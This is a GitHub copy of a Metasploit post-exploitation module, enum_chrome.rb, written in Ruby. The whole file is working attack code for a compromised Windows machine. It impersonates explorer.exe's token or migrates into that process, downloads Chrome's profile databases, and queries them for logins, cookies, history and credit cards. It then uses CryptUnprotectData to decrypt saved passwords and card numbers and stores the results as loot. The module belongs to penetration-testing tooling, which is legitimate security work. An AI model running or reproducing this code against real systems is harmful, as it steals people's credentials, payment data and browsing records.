forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathenum_chrome.rb
286 lines (244 loc) · 8.34 KB
/
enum_chrome.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Priv
def initialize(info={})
super(update_info(info,
'Name' => "Windows Gather Google Chrome User Data Enumeration",
'Description' => %q{
This module will collect user data from Google Chrome and attempt to decrypt
sensitive information.
},
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'Platform' => ['windows'],
'SessionTypes' => ['meterpreter'],
'Author' =>
[
'Sven Taute', #Original (Meterpreter script)
'sinn3r', #Metasploit post module
'Kx499' #x64 support
]
))
register_options(
[
OptBool.new('MIGRATE', [false, 'Automatically migrate to explorer.exe', false]),
], self.class)
end
def decrypt_data(data)
rg = session.railgun
pid = session.sys.process.open.pid
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(1024)
process.memory.write(mem, data)
if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
addr = [mem].pack("V")
len = [data.length].pack("V")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
len, addr = ret["pDataOut"].unpack("V2")
else
addr = [mem].pack("Q")
len = [data.length].pack("Q")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
len, addr = ret["pDataOut"].unpack("Q2")
end
return "" if len == 0
decrypted = process.memory.read(addr, len)
return decrypted
end
def process_files(username)
secrets = ""
decrypt_table = Rex::Ui::Text::Table.new(
"Header" => "Decrypted data",
"Indent" => 1,
"Columns" => ["Name", "Decrypted Data", "Origin"]
)
@chrome_files.each do |item|
next if item[:sql] == nil
next if item[:raw_file] == nil
db = SQLite3::Database.new(item[:raw_file])
begin
columns, *rows = db.execute2(item[:sql])
rescue
next
end
db.close
rows.map! do |row|
res = Hash[*columns.zip(row).flatten]
if item[:encrypted_fields] && session.sys.config.getuid != "NT AUTHORITY\\SYSTEM"
item[:encrypted_fields].each do |field|
name = (res["name_on_card"] == nil) ? res["username_value"] : res["name_on_card"]
origin = (res["label"] == nil) ? res["origin_url"] : res["label"]
pass = res[field + "_decrypted"] = decrypt_data(res[field])
if pass != nil and pass != ""
decrypt_table << [name, pass, origin]
secret = "#{name}:#{pass}..... #{origin}"
secrets << secret << "\n"
vprint_good("Decrypted data: #{secret}")
end
end
end
end
end
if secrets != ""
path = store_loot("chrome.decrypted", "text/plain", session, decrypt_table.to_s, "decrypted_chrome_data.txt", "Decrypted Chrome Data")
print_status("Decrypted data saved in: #{path}")
end
end
def extract_data(username)
#Prepare Chrome's path on remote machine
chrome_path = @profiles_path + "\\" + username + @data_path
raw_files = {}
@chrome_files.map{ |e| e[:in_file] }.uniq.each do |f|
remote_path = chrome_path + '\\' + f
#Verify the path before downloading the file
begin
x = session.fs.file.stat(remote_path)
rescue
print_error("#{f} not found")
next
end
# Store raw data
local_path = store_loot("chrome.raw.#{f}", "text/plain", session, "chrome_raw_#{f}")
raw_files[f] = local_path
session.fs.file.download_file(local_path, remote_path)
print_status("Downloaded #{f} to '#{local_path}'")
end
#Assign raw file paths to @chrome_files
raw_files.each_pair do |raw_key, raw_path|
@chrome_files.each do |item|
if item[:in_file] == raw_key
item[:raw_file] = raw_path
end
end
end
return true
end
def steal_token
current_pid = session.sys.process.open.pid
target_pid = session.sys.process["explorer.exe"]
return if target_pid == current_pid
if not session.incognito
session.core.use("incognito")
if not session.incognito
print_error("Unable to load incognito")
return false
end
end
print_status("Impersonating token: #{target_pid.to_s}")
begin
session.sys.config.steal_token(target_pid)
return true
rescue Rex::Post::Meterpreter::RequestError => e
print_error("Cannot impersonate: #{e.message.to_s}")
return false
end
end
def migrate(pid=nil)
current_pid = session.sys.process.open.pid
if pid != nil and current_pid != pid
#PID is specified
target_pid = pid
print_status("current PID is #{current_pid}. Migrating to pid #{target_pid}")
begin
session.core.migrate(target_pid)
rescue ::Exception => e
print_error(e.message)
return false
end
else
#No PID specified, assuming to migrate to explorer.exe
target_pid = session.sys.process["explorer.exe"]
if target_pid != current_pid
@old_pid = current_pid
print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...")
begin
session.core.migrate(target_pid)
rescue ::Exception => e
print_error(e)
return false
end
end
end
return true
end
def run
@chrome_files = [
{ :raw => "", :in_file => "Web Data", :sql => "select * from autofill;"},
{ :raw => "", :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;"},
{ :raw => "", :in_file => "Web Data", :sql => "select * from autofill_profiles;"},
{ :raw => "", :in_file => "Web Data", :sql => "select * from credit_cards;", :encrypted_fields => ["card_number_encrypted"]},
{ :raw => "", :in_file => "Cookies", :sql => "select * from cookies;"},
{ :raw => "", :in_file => "History", :sql => "select * from urls;"},
{ :raw => "", :in_file => "History", :sql => "SELECT url FROM downloads;"},
{ :raw => "", :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;"},
{ :raw => "", :in_file => "Login Data", :sql => "select * from logins;", :encrypted_fields => ["password_value"]},
{ :raw => "", :in_file => "Bookmarks", :sql => nil},
{ :raw => "", :in_file => "Preferences", :sql => nil},
]
@old_pid = nil
@host_info = session.sys.config.sysinfo
migrate_success = false
# If we can impersonate a token, we use that first.
# If we can't, we'll try to MIGRATE (more aggressive) if the user wants to
got_token = steal_token
if not got_token and datastore["MIGRATE"]
migrate_success = migrate
end
host = session.session_host
#Get Google Chrome user data path
sysdrive = session.fs.file.expand_path("%SYSTEMDRIVE%")
os = @host_info['OS']
if os =~ /(Windows 7|2008|Vista)/
@profiles_path = sysdrive + "\\Users\\"
@data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
elsif os =~ /(2000|NET|XP)/
@profiles_path = sysdrive + "\\Documents and Settings\\"
@data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default"
end
#Get user(s)
usernames = []
uid = session.sys.config.getuid
if is_system?
print_status("Running as SYSTEM, extracting user list...")
print_error("(Automatic decryption will not be possible. You might want to manually migrate, or set \"MIGRATE=true\")")
session.fs.dir.foreach(@profiles_path) do |u|
usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
end
print_status "Users found: #{usernames.join(", ")}"
else
print_status "Running as user '#{uid}'..."
usernames << session.fs.file.expand_path("%USERNAME%")
end
has_sqlite3 = true
begin
require 'sqlite3'
rescue LoadError
print_error("SQLite3 is not available, and we are not able to parse the database.")
has_sqlite3 = false
end
#Process files for each username
usernames.each do |u|
print_status("Extracting data for user '#{u}'...")
success = extract_data(u)
process_files(u) if success and has_sqlite3
end
# Migrate back to the original process
if datastore["MIGRATE"] and @old_pid and migrate_success == true
print_status("Migrating back...")
migrate(@old_pid)
end
end
end